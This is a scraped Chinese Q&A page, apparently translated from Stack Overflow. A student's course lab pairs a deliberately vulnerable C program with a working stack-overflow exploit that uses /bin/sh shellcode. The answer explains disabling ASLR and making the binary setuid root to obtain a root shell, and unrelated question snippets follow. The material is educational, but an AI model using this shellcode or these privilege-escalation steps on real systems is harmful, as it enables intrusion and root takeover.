缓冲区溢出 - 普通用户中的 SegFaults

2024-01-09

下面是我的代码,包括易受攻击的程序 (stack.c) 和我的漏洞利用程序 (exploit.c)。这段代码适用于教授为 Windows 用户发送的预打包 Ubuntu 9(我有一个朋友在他的计算机上测试了它),但在我在 iMac 上运行的 Ubuntu 12 上,当我尝试执行此操作时,我遇到了段错误在普通用户中。

这是堆栈:

//stack.c
#include <stdio.h>

int bof(char *str)
{
char buffer[12];

//BO Vulnerability
strcpy(buffer,str);

return 1;
}

int main(int argc, char* argv[])
{
char str[517];

FILE *badfile;
    badfile = fopen("badfile","r");

fread(str, sizeof(char),517, badfile);
bof(str);

printf("Returned Properly\n");
return 1;
}

并利用:

//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350 

char code[]=
"\x31\xc0" 
"\x50" 
"\x68""//sh" 
"\x68""/bin" 
"\x89\xe3" 
"\x50" 
"\x53" 
"\x89\xe1"
"\x99"
"\xb0\x0b" 
"\xcd\x80"
;

unsigned long get_sp(void)
{
     __asm__("movl %esp,%eax");
}

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
char *ptr;
long *a_ptr,ret;

int offset = DEFAULT_OFFSET;
int codeSize = sizeof(code);
int buffSize = sizeof(buffer);

if(argc > 1) offset = atoi(argv[1]); //allows for command line input

ptr=buffer;
a_ptr = (long *) ptr;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, buffSize);

//----------------------BEGIN FILL BUFFER----------------------\\

ret = get_sp()+offset;
    printf("Return Address: 0x%x\n",get_sp());
    printf("Address: 0x%x\n",ret);

ptr = buffer;
    a_ptr = (long *) ptr;

int i;
for (i = 0; i < 300;i+=4)
    *(a_ptr++) = ret;

for(i = 486;i < codeSize + 486;++i)
    buffer[i] = code[i-486];

buffer[buffSize - 1] = '\0';
//-----------------------END FILL BUFFER-----------------------\\


/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer,517,1,badfile);
fclose(badfile);    
}

为了在 Ubuntu 12 中编译这些,我使用了:

gcc -o stack -fno-stack-protector -g -z execstack stack.c
gcc -o exploit exploit.c

Again, it works in a root user, just not a regular user; example

无论如何,这是在午夜截止的,我在这个限制下一瘸一拐地完成了作业的其余部分,但如果有人有建议,我宁愿正确地完成它。我想在认输之前先请专家来。我想知道为什么这段代码不能在普通用户中工作(它应该在旧版本的 ubuntu 上工作),但可以在 root 用户中工作。我需要更改什么才能使普通用户也能正常工作。


我刚刚在 Ubuntu 12.04 VM 上运行了您提供的代码,并且运行良好。我的猜测是你没有关闭 ASLR。禁用 ASLR 后重试

sudo su    
echo 0 > /proc/sys/kernel/randomize_va_space
exit

or

setarch `uname -i` -R ./stack

当然,为了让它生成 root shell,您需要首先执行以下操作:

sudo chown root:root stack
sudo chmod u+s stack

希望这可以帮助 ...

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

缓冲区溢出 - 普通用户中的 SegFaults 的相关文章

随机推荐

  • Java 音频流(mp3spi lib),UnsupportedAudioFileException

    我看到了多个关于流 MP3 流 如 Icecast 的 Stack Overflow 问题 他们都说使用 MP3SPI 库 我就是这样 MP3SPI 用于允许支持audio mpeg哑剧类型 这就是我的 Icecast 流 我的类路径中正确
  • 如何使用后缀到上标格式化当前日期?

    我正在使用SimpleDateFormatter public static final DateFormat DATE FORMAT FULL FULL SPACES new SimpleDateFormat dd MMMM yyyy L
  • 以编程方式导航到 SwiftUI 中的新视图

    描述性示例 登录屏幕 用户点击 登录 按钮 执行请求 UI 显示等待指示器 然后在成功响应后我想自动将用户导航到下一个屏幕 如何在 SwiftUI 中实现这种自动转换 成功登录后 您可以将下一个视图替换为您的登录视图 例如 struct L
  • 在焦点元素上按下转义键时不会引发按键事件

    I want to know when the Esc key is pressed on an input element On Chrome 47 0 2526 106 m the Esc key removes the focus b
  • 将 Windows Phone 8 SDK 添加到 Visual Studio 2012

    我的互联网连接非常糟糕 并且我有 Windows Phone 8 SDK 文件 但没有安装文件 有没有办法将 Windows 8 SDK 添加到 Visual Studio 而无需下载安装文件 不明白你的意思 您需要安装现有的 Visual
  • VueJS - 单击时交换组件

    在我的应用程序中 我有很多按钮 当我按下按钮时 我想加载一个模板 替换所选按钮 模板 Vue component component 1 Vue component component 2 Buttons div div
  • 哪些浏览器支持 Xpath 2.0?

    我最近一直在使用 XPath 并且一直在搜索有关哪些浏览器支持 XPath 2 0 的信息 但运气不佳 我能找到的最好的是查询技术对照表 http en wikipedia org wiki Comparison of layout eng
  • 我可以同时使用 DataContract 和 Serialized 吗?

    我正在从事 WCF 服务 我的所有类都已使用 Serializable 属性进行序列化 但由于 k BackingField 属性命名问题 我使用了 DataContract 和 DataMember 属性 所以我可以同时使用这两个属性 如
  • C# 列表和枚举器的属性

    我有以下问题 我有一个列表并将字符串项目添加到该列表中 然后我从列表中创建一个枚举器 当我用循环遍历列表时MoveNext 当我直接访问枚举器时 它会起作用 当我使用枚举器属性访问枚举器时 它不起作用 这MoveNext 命令不会增加索引
  • 将 OpenCV 与 Django 结合使用

    我想在我的 Django 应用程序中使用 OpenCV 由于 OpenCV 是一个库 我认为我们可以像任何其他库一样使用它 当我尝试使用导入它时import cv2在 Django 的视图中 它工作正常 但是当我尝试在 Django 视图中
  • 页面顶部固定浮动 div 中的 Bootstrap 警报

    我有一个使用 Bootstrap 的 Web 应用程序 2 3 2 公司政策 如果不对多个 Web 应用程序进行大量测试 我们就无法升级到 3 0 我们在此应用程序中有几个长页面需要验证表单和表格 然而 由于实用和美观的原因 我们需要在页面
  • 为什么 stripe Checkout 中没有帐单地址

    我正在使用 Stripe Checkout 进行信用卡收费 但我在弹出窗口中没有看到帐单地址 为什么他们不需要帐单地址 为什么 当我准备使用信用卡付款时 我访问的任何其他网站都会要求提供帐单地址 Stripe Checkout 中已弃用帐单
  • 以字符串形式访问对象属性并设置其值

    我有一个实例Account班级 每个帐户对象都有一个所有者 引用等 我访问帐户属性的一种方法是通过访问器 例如 account Reference 但我希望能够使用动态字符串选择器访问它 例如 account PropertyName 就像
  • 读取某些元素名称中包含“-”的 XML 提要

    我正在尝试读取元素名称中包含 的 xml feed 可以在此处找到源 我是 php 新手 所以我可能会忽略一些基本的东西 我正在使用 SimpleXML 来读取提要 这是我用来解决我的问题的一些基本代码 我阅读了预测和最低温度 没有任何问题
  • 基于 DateTime 创建自定义 GroupDescription

    我正在对一些数据进行分组 PropertyGroupDescription 在大多数情况下都工作正常 但是 如果该属性是 DateTime 并且我不想将多个日期分组为一组 例如每组 30 天或其他 我将需要一个新的 GroupDescrip
  • 字节码操作模式

    字节码操作有哪些合法用途以及人们如何在实践中实现这些基于字节码操作的解决方案 Update 我应该更清楚地表明 这个问题实际上是关于人们使用什么模式和技术在字节码操作的帮助下使他们的代码飞起来 像已经提到的面向方面的编程或动态构建代理对象和
  • 如何使用 Python 从出站 Twilio 呼叫中检索信息?

    我是 Twilio 的新手 正在尝试弄清楚如何从我使用 Python 3 成功拨打的出站呼叫中检索数据 我希望能够检索诸如收件人按下的按钮之类的信息 在阅读了一点 Twilio 文档 然后有点迷失 后 我想我了解了 Twilio 的工作原理
  • @Viewchild看不到matSort

    在我的 Angular 应用程序中 我的 ViewChild 实例无法填充 HTL matSort 我的组件 ts import MatSort from angular material export class MyClassCompo
  • 卤素键盘输入示例和取消订阅事件?

    如何取消订阅除 HandleKey 之外的其他操作的键盘事件键盘输入示例 https github com slamdata purescript halogen blob master examples keyboard input sr
  • 缓冲区溢出 - 普通用户中的 SegFaults

    下面是我的代码 包括易受攻击的程序 stack c 和我的漏洞利用程序 exploit c 这段代码适用于教授为 Windows 用户发送的预打包 Ubuntu 9 我有一个朋友在他的计算机上测试了它 但在我在 iMac 上运行的 Ubun